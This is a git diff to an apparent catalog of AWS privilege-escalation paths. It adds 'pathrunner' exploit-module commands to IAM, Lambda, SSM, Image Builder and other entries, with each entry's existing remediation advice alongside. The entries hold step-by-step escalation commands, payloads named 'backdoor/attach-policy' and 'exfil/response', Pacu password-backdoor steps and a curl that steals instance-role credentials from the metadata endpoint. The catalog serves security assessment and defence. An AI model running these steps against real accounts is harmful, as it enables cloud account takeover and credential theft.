a/data/paths/aws/iam/iam-004.yaml b/data/paths/aws/iam/iam-004.yaml index dae44580..7a927516 100644 --- a/data/paths/aws/iam/iam-004.yaml +++ b/data/paths/aws/iam/iam-004.yaml @@ -26,6 +26,16 @@ exploitationSteps: - step: 1 command: run iam__backdoor_users_password --usernames [TARGET_USER] description: Creates a password for the target user + pathrunner: + - step: 1 + command: pathrunner use iam-004 + description: Load the iam-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_USER target-iam-user + description: Set the TARGET_USER option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:CreateLoginProfile` using the principle of least privilege. Only allow users to create login profiles for users they are authorized to manage. Very few principals need this permission on anyone other than themselves, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-005.yaml b/data/paths/aws/iam/iam-005.yaml index b8a4ee30..7b4f04ba 100644 --- a/data/paths/aws/iam/iam-005.yaml +++ b/data/paths/aws/iam/iam-005.yaml @@ -48,6 +48,13 @@ exploitationSteps: - step: 3 command: aws sts get-caller-identity description: Verify the new permissions are active (for self-escalation, credentials remain the same) + pathrunner: + - step: 1 + command: pathrunner use iam-005 + description: Load the iam-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict access to `iam:PutRolePolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. diff --git a/data/paths/aws/iam/iam-006.yaml b/data/paths/aws/iam/iam-006.yaml index 12cddcdf..79a42773 100644 --- a/data/paths/aws/iam/iam-006.yaml +++ b/data/paths/aws/iam/iam-006.yaml @@ -26,6 +26,16 @@ exploitationSteps: - step: 1 command: run iam__backdoor_users_password --usernames [TARGET_USER] --update description: Updates the password for a user that already has a password + pathrunner: + - step: 1 + command: pathrunner use iam-006 + description: Load the iam-006 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_USER target-iam-user + description: Set the TARGET_USER option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:UpdateLoginProfile` using the principle of least privilege. Only allow users to update the password of users they are authorized to manage, most commonly, themselves. Very few principals need this permission on all principals, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-007.yaml b/data/paths/aws/iam/iam-007.yaml index bdf65b13..bc452ecf 100644 --- a/data/paths/aws/iam/iam-007.yaml +++ b/data/paths/aws/iam/iam-007.yaml @@ -18,6 +18,13 @@ exploitationSteps: - step: 2 command: aws sts get-caller-identity description: Verify the new permissions are active (for self-escalation) + pathrunner: + - step: 1 + command: pathrunner use iam-007 + description: Load the iam-007 exploit module in Pathrunner. + - step: 2 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:PutUserPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access because the attacker controls the policy document content. The attacker can embed any permissions directly into the principal, guaranteeing administrative access regardless of what policies exist in the environment. However, even limited additional permissions may enable multi-hop attacks.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-008.yaml b/data/paths/aws/iam/iam-008.yaml index 1f0b8d41..3ff70a4f 100644 --- a/data/paths/aws/iam/iam-008.yaml +++ b/data/paths/aws/iam/iam-008.yaml @@ -18,6 +18,13 @@ exploitationSteps: - step: 2 command: aws sts get-caller-identity description: Verify the new permissions are active (for self-escalation) + pathrunner: + - step: 1 + command: pathrunner use iam-008 + description: Load the iam-008 exploit module in Pathrunner. + - step: 2 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:AttachUserPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-009.yaml b/data/paths/aws/iam/iam-009.yaml index 338e7f7e..ba59b7bb 100644 --- a/data/paths/aws/iam/iam-009.yaml +++ b/data/paths/aws/iam/iam-009.yaml @@ -18,6 +18,13 @@ exploitationSteps: - step: 2 command: aws sts get-caller-identity description: Verify the new permissions are active (for self-escalation) + pathrunner: + - step: 1 + command: pathrunner use iam-009 + description: Load the iam-009 exploit module in Pathrunner. + - step: 2 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:AttachRolePolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-010.yaml b/data/paths/aws/iam/iam-010.yaml index 30651c1f..e5755a05 100644 --- a/data/paths/aws/iam/iam-010.yaml +++ b/data/paths/aws/iam/iam-010.yaml @@ -20,6 +20,16 @@ exploitationSteps: - step: 2 command: aws sts get-caller-identity description: Verify the new permissions are active + pathrunner: + - step: 1 + command: pathrunner use iam-010 + description: Load the iam-010 exploit module in Pathrunner. + - step: 2 + command: pathrunner set GROUP_NAME target-iam-group + description: Set the GROUP_NAME option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:AttachGroupPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-011.yaml b/data/paths/aws/iam/iam-011.yaml index d9df3a06..baafacb0 100644 --- a/data/paths/aws/iam/iam-011.yaml +++ b/data/paths/aws/iam/iam-011.yaml @@ -19,6 +19,16 @@ exploitationSteps: - step: 2 command: aws sts get-caller-identity description: Verify the new permissions are active + pathrunner: + - step: 1 + command: pathrunner use iam-011 + description: Load the iam-011 exploit module in Pathrunner. + - step: 2 + command: pathrunner set GROUP_NAME target-iam-group + description: Set the GROUP_NAME option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:PutGroupPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access because the attacker controls the policy document content. The attacker can embed any permissions directly into the principal, guaranteeing administrative access regardless of what policies exist in the environment. However, even limited additional permissions may enable multi-hop attacks.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-012.yaml b/data/paths/aws/iam/iam-012.yaml index 666997c4..401c3f40 100644 --- a/data/paths/aws/iam/iam-012.yaml +++ b/data/paths/aws/iam/iam-012.yaml @@ -25,6 +25,16 @@ exploitationSteps: - step: 3 command: '# Configure AWS CLI with the temporary credentials from assume-role' description: Use the elevated permissions of the assumed role + pathrunner: + - step: 1 + command: pathrunner use iam-012 + description: Load the iam-012 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:UpdateAssumeRolePolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access only if the attacker modifies a role that has administrative permissions. The attacker gains whatever permissions the modified role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-013.yaml b/data/paths/aws/iam/iam-013.yaml index c8861f66..9308121b 100644 --- a/data/paths/aws/iam/iam-013.yaml +++ b/data/paths/aws/iam/iam-013.yaml @@ -20,6 +20,16 @@ exploitationSteps: - step: 2 command: aws sts get-caller-identity description: Verify the new permissions are active + pathrunner: + - step: 1 + command: pathrunner use iam-013 + description: Load the iam-013 exploit module in Pathrunner. + - step: 2 + command: pathrunner set GROUP_NAME target-iam-group + description: Set the GROUP_NAME option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict access to `iam:AddUserToGroup` using the principle of least privilege. Only allow users to add users to groups they are authorized to manage. Very few principals need this permission, so it should be restricted to only the few principals that need it. diff --git a/data/paths/aws/iam/iam-014.yaml b/data/paths/aws/iam/iam-014.yaml index 4627007c..cd35e9ae 100644 --- a/data/paths/aws/iam/iam-014.yaml +++ b/data/paths/aws/iam/iam-014.yaml @@ -88,6 +88,16 @@ exploitationSteps: ' description: Verify that you now have administrative access by listing IAM users + pathrunner: + - step: 1 + command: pathrunner use iam-014 + description: Load the iam-014 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'The attack provides administrative access only if an admin policy (like AdministratorAccess) is attached to the role. However, the attacker could attach any AWS-managed or customer-managed policy they have visibility into, so the level of access depends on available policies. ' diff --git a/data/paths/aws/iam/iam-015.yaml b/data/paths/aws/iam/iam-015.yaml index 71db8e8a..80a32f9e 100644 --- a/data/paths/aws/iam/iam-015.yaml +++ b/data/paths/aws/iam/iam-015.yaml @@ -129,6 +129,16 @@ exploitationSteps: ' description: Configure Pacu to use the newly created access keys for the target user + pathrunner: + - step: 1 + command: pathrunner use iam-015 + description: Load the iam-015 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_USER target-iam-user + description: Set the TARGET_USER option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'The attack provides administrative access only if an admin policy (like AdministratorAccess) is attached to the user. However, the attacker could attach any AWS-managed or customer-managed policy they have visibility into, so the level of access depends on available policies. ' diff --git a/data/paths/aws/iam/iam-016.yaml b/data/paths/aws/iam/iam-016.yaml index 3e0578e4..de3a22cd 100644 --- a/data/paths/aws/iam/iam-016.yaml +++ b/data/paths/aws/iam/iam-016.yaml @@ -87,6 +87,19 @@ exploitationSteps: - step: 11 command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained + pathrunner: + - step: 1 + command: pathrunner use iam-016 + description: Load the iam-016 exploit module in Pathrunner. + - step: 2 + command: pathrunner set POLICY_ARN arn:aws:iam::123456789012:policy/TargetPolicy + description: Set the POLICY_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 4 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the new policy version includes administrative permissions (e.g., AdministratorAccess equivalent). The attacker gains whatever permissions are specified in the new policy version they create. However, even limited additional permissions may enable multi-hop attacks. ' diff --git a/data/paths/aws/iam/iam-017.yaml b/data/paths/aws/iam/iam-017.yaml index b1c2ac13..cac94f25 100644 --- a/data/paths/aws/iam/iam-017.yaml +++ b/data/paths/aws/iam/iam-017.yaml @@ -99,6 +99,16 @@ exploitationSteps: - step: 4 command: run iam__assume_role --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE description: Assume the privileged role using Pacu + pathrunner: + - step: 1 + command: pathrunner use iam-017 + description: Load the iam-017 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the inline policy includes administrative permissions. The attacker gains whatever permissions are specified in the inline policy they create. However, even limited additional permissions may enable multi-hop attacks. ' diff --git a/data/paths/aws/iam/iam-018.yaml b/data/paths/aws/iam/iam-018.yaml index 7eb1b390..54fec864 100644 --- a/data/paths/aws/iam/iam-018.yaml +++ b/data/paths/aws/iam/iam-018.yaml @@ -128,6 +128,16 @@ exploitationSteps: # Switch to the newly created credentials swap_keys description: "Configure Pacu to use the newly created access keys for the target user" + pathrunner: + - step: 1 + command: pathrunner use iam-018 + description: Load the iam-018 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_USER target-iam-user + description: Set the TARGET_USER option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | The attack provides administrative access because the attacker controls the inline policy document content. Unlike iam:AttachUserPolicy (which requires choosing from existing managed policies), iam:PutUserPolicy allows the attacker to embed any policy document directly into the user, guaranteeing administrative permissions regardless of what policies exist in the environment. diff --git a/data/paths/aws/iam/iam-019.yaml b/data/paths/aws/iam/iam-019.yaml index b933e60b..01782d25 100644 --- a/data/paths/aws/iam/iam-019.yaml +++ b/data/paths/aws/iam/iam-019.yaml @@ -114,6 +114,16 @@ exploitationSteps: # Verify administrative access aws iam list-users --max-items 5 description: Verify that you now have administrative access using the assumed role credentials + pathrunner: + - step: 1 + command: pathrunner use iam-019 + description: Load the iam-019 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | This attack path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account to attach. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data. recommendation: | diff --git a/data/paths/aws/iam/iam-020.yaml b/data/paths/aws/iam/iam-020.yaml index 5db896c2..2d374a2f 100644 --- a/data/paths/aws/iam/iam-020.yaml +++ b/data/paths/aws/iam/iam-020.yaml @@ -129,6 +129,19 @@ exploitationSteps: # Verify administrative access aws iam list-users --max-items 5 description: "Verify that you now have administrative access by listing IAM users" + pathrunner: + - step: 1 + command: pathrunner use iam-020 + description: Load the iam-020 exploit module in Pathrunner. + - step: 2 + command: pathrunner set POLICY_ARN arn:aws:iam::123456789012:policy/TargetPolicy + description: Set the POLICY_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 4 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | The attack provides administrative access when you create a policy version with admin permissions. However, you could create a policy with any permissions, so the level of access depends on what you include in the new policy version. diff --git a/data/paths/aws/iam/iam-021.yaml b/data/paths/aws/iam/iam-021.yaml index c4f6ecc9..b5600f83 100644 --- a/data/paths/aws/iam/iam-021.yaml +++ b/data/paths/aws/iam/iam-021.yaml @@ -156,6 +156,16 @@ exploitationSteps: ' description: Use Pacu to assume the role and obtain temporary credentials with administrative permissions + pathrunner: + - step: 1 + command: pathrunner use iam-021 + description: Load the iam-021 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_ROLE TargetRoleName + description: Set the TARGET_ROLE option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This attack provides administrative access because the attacker controls the inline policy document content. Unlike `iam:AttachRolePolicy` (which requires choosing from existing managed policies), `iam:PutRolePolicy` allows the attacker to embed any policy document directly into the role, guaranteeing administrative permissions regardless of what policies exist in the environment. ' diff --git a/data/paths/aws/imagebuilder/imagebuilder-001.yaml b/data/paths/aws/imagebuilder/imagebuilder-001.yaml index f76891ad..6ec35760 100644 --- a/data/paths/aws/imagebuilder/imagebuilder-001.yaml +++ b/data/paths/aws/imagebuilder/imagebuilder-001.yaml @@ -113,6 +113,25 @@ exploitationSteps: --image-recipe-arn RECIPE_ARN \ --infrastructure-configuration-arn INFRA_CONFIG_ARN description: Trigger the image build. Image Builder provisions an EC2 instance with the admin instance profile, runs the component shell commands, and the commands escalate privileges. The build typically takes 10-20 minutes. + pathrunner: + - step: 1 + command: pathrunner use imagebuilder-001 + description: Load the imagebuilder-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile + description: Set the INSTANCE_PROFILE option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/kinesisanalytics/kinesisanalytics-001.yaml b/data/paths/aws/kinesisanalytics/kinesisanalytics-001.yaml index 144d4820..70b4c742 100644 --- a/data/paths/aws/kinesisanalytics/kinesisanalytics-001.yaml +++ b/data/paths/aws/kinesisanalytics/kinesisanalytics-001.yaml @@ -84,6 +84,25 @@ exploitationSteps: --query 'ApplicationDetail.ApplicationStatus' \ --output text description: Poll application status. Once RUNNING, check for IAM policy attachment to confirm escalation succeeded. + pathrunner: + - step: 1 + command: pathrunner use kinesisanalytics-001 + description: Load the kinesisanalytics-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/lambda/lambda-001.yaml b/data/paths/aws/lambda/lambda-001.yaml index da4d4c24..8de98bd3 100644 --- a/data/paths/aws/lambda/lambda-001.yaml +++ b/data/paths/aws/lambda/lambda-001.yaml @@ -38,6 +38,22 @@ exploitationSteps: - step: 2 command: run lambda__backdoor_new_roles --cleanup description: Call the module in cleanup mode when you are done + pathrunner: + - step: 1 + command: pathrunner use lambda-001 + description: Load the lambda-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD exfil/response + description: Select the exfil/response payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/lambda/lambda-002.yaml b/data/paths/aws/lambda/lambda-002.yaml index 1a943cde..c0b7f719 100644 --- a/data/paths/aws/lambda/lambda-002.yaml +++ b/data/paths/aws/lambda/lambda-002.yaml @@ -35,6 +35,28 @@ exploitationSteps: - step: 3 command: aws dynamodb put-item --table-name TABLE_NAME --item '{"id":{"S":"trigger"}}' description: Trigger the function by adding an item to the DynamoDB table + pathrunner: + - step: 1 + command: pathrunner use lambda-002 + description: Load the lambda-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD exfil/response + description: Select the exfil/response payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set EVENT_SOURCE_ARN arn:aws:dynamodb::123456789012:table/target-table/stream/2026-01-01T00:00:00.000 + description: Set the EVENT_SOURCE_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TABLE_NAME target-dynamodb-table + description: Set the TABLE_NAME option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/lambda/lambda-003.yaml b/data/paths/aws/lambda/lambda-003.yaml index f098a2ea..bc77af4d 100644 --- a/data/paths/aws/lambda/lambda-003.yaml +++ b/data/paths/aws/lambda/lambda-003.yaml @@ -36,6 +36,22 @@ exploitationSteps: command: '# Wait for the function to be automatically invoked by triggers' description: Wait for the function to be invoked by its automatic triggers (EventBridge, S3 events, etc.) + pathrunner: + - step: 1 + command: pathrunner use lambda-003 + description: Load the lambda-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD exfil/response + description: Select the exfil/response payload. + - step: 4 + command: pathrunner set FUNCTION_NAME target-lambda-function + description: Set the FUNCTION_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict the `lambda:UpdateFunctionCode` permission using the principle of least privilege. Use resource-based policies to limit which functions can be modified: diff --git a/data/paths/aws/lambda/lambda-004.yaml b/data/paths/aws/lambda/lambda-004.yaml index e5c4c3e8..f81621b9 100644 --- a/data/paths/aws/lambda/lambda-004.yaml +++ b/data/paths/aws/lambda/lambda-004.yaml @@ -30,6 +30,22 @@ exploitationSteps: - step: 4 command: aws lambda invoke --function-name TARGET_FUNCTION output.txt description: Manually invoke the function to execute the privilege escalation + pathrunner: + - step: 1 + command: pathrunner use lambda-004 + description: Load the lambda-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD exfil/response + description: Select the exfil/response payload. + - step: 4 + command: pathrunner set FUNCTION_NAME target-lambda-function + description: Set the FUNCTION_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict the `lambda:UpdateFunctionCode` permission using the principle of least privilege. Use resource-based policies to limit which functions can be modified: diff --git a/data/paths/aws/lambda/lambda-005.yaml b/data/paths/aws/lambda/lambda-005.yaml index b600d545..25a2edc5 100644 --- a/data/paths/aws/lambda/lambda-005.yaml +++ b/data/paths/aws/lambda/lambda-005.yaml @@ -99,6 +99,22 @@ exploitationSteps: - step: 7 command: aws iam list-users --max-items 3 description: Verify that administrator access has been granted + pathrunner: + - step: 1 + command: pathrunner use lambda-005 + description: Load the lambda-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD exfil/response + description: Select the exfil/response payload. + - step: 4 + command: pathrunner set FUNCTION_NAME target-lambda-function + description: Set the FUNCTION_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | Restrict `lambda:UpdateFunctionCode`, `lambda:AddPermission`, and `lambda:InvokeFunction` permissions using the principle of least privilege. These permissions should be limited to specific Lambda function resources: diff --git a/data/paths/aws/lambda/lambda-006.yaml b/data/paths/aws/lambda/lambda-006.yaml index 478bca45..129cdcf3 100644 --- a/data/paths/aws/lambda/lambda-006.yaml +++ b/data/paths/aws/lambda/lambda-006.yaml @@ -107,6 +107,22 @@ exploitationSteps: - step: 2 command: run lambda__backdoor_new_roles --cleanup description: Call the module in cleanup mode when you are done + pathrunner: + - step: 1 + command: pathrunner use lambda-006 + description: Load the lambda-006 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD exfil/response + description: Select the exfil/response payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/omics/omics-001.yaml b/data/paths/aws/omics/omics-001.yaml index eba7bc1c..e121d717 100644 --- a/data/paths/aws/omics/omics-001.yaml +++ b/data/paths/aws/omics/omics-001.yaml @@ -117,6 +117,19 @@ exploitationSteps: --user-name STARTING_USER \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess description: Retrieve the exfiltrated execution role credentials from S3 and use them directly to call iam:AttachUserPolicy, attaching AdministratorAccess to the starting user. + pathrunner: + - step: 1 + command: pathrunner use omics-001 + description: Load the omics-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner set CONTAINER_URI 123456789012.dkr.ecr.us-east-1.amazonaws.com/target-image:latest + description: Set the CONTAINER_URI option (replace the placeholder with your target's real value). + - step: 4 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ssm/ssm-001.yaml b/data/paths/aws/ssm/ssm-001.yaml index 2ba5c0a8..4ae26c47 100644 --- a/data/paths/aws/ssm/ssm-001.yaml +++ b/data/paths/aws/ssm/ssm-001.yaml @@ -36,6 +36,25 @@ exploitationSteps: - step: 3 command: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME description: Steal the temporary credentials for the instance's IAM role + pathrunner: + - step: 1 + command: pathrunner use ssm-001 + description: Load the ssm-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_ID i-0123456789abcdef0 + description: Set the INSTANCE_ID option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `ssm:StartSession` using the principle of least privilege. Use the Resource and Condition elements in IAM policies to limit which instances a principal can start sessions on. Monitor use of this sensitive permission using CloudSIEM detections.' limitations: 'This path provides administrative access only if the target resource''s execution role has administrative permissions. The attacker gains whatever permissions the resource''s role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/ssm/ssm-002.yaml b/data/paths/aws/ssm/ssm-002.yaml index 5fbe88c4..ada5b219 100644 --- a/data/paths/aws/ssm/ssm-002.yaml +++ b/data/paths/aws/ssm/ssm-002.yaml @@ -33,6 +33,25 @@ exploitationSteps: command: aws ssm get-command-invocation --command-id @command-id --instance-id i-XXXXXXXXXXX description: Retrieve the command output containing the temporary credentials + pathrunner: + - step: 1 + command: pathrunner use ssm-002 + description: Load the ssm-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_ID i-0123456789abcdef0 + description: Set the INSTANCE_ID option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `ssm:SendCommand` using the principle of least privilege. Use the Resource and Condition elements in IAM policies to limit which instances a principal can run commands on and which documents they can use. Monitor use of this sensitive permission using CloudSIEM detections.' limitations: 'This path provides administrative access only if the target resource''s execution role has administrative permissions. The attacker gains whatever permissions the resource''s role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/ssm/ssm-003.yaml b/data/paths/aws/ssm/ssm-003.yaml index 0dc1b687..28bcda19 100644 --- a/data/paths/aws/ssm/ssm-003.yaml +++ b/data/paths/aws/ssm/ssm-003.yaml @@ -97,6 +97,25 @@ exploitationSteps: aws iam list-attached-user-policies \ --user-name STARTING_USER description: Verify that AdministratorAccess is now attached to the starting user, confirming privilege escalation success. + pathrunner: + - step: 1 + command: pathrunner use ssm-003 + description: Load the ssm-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN 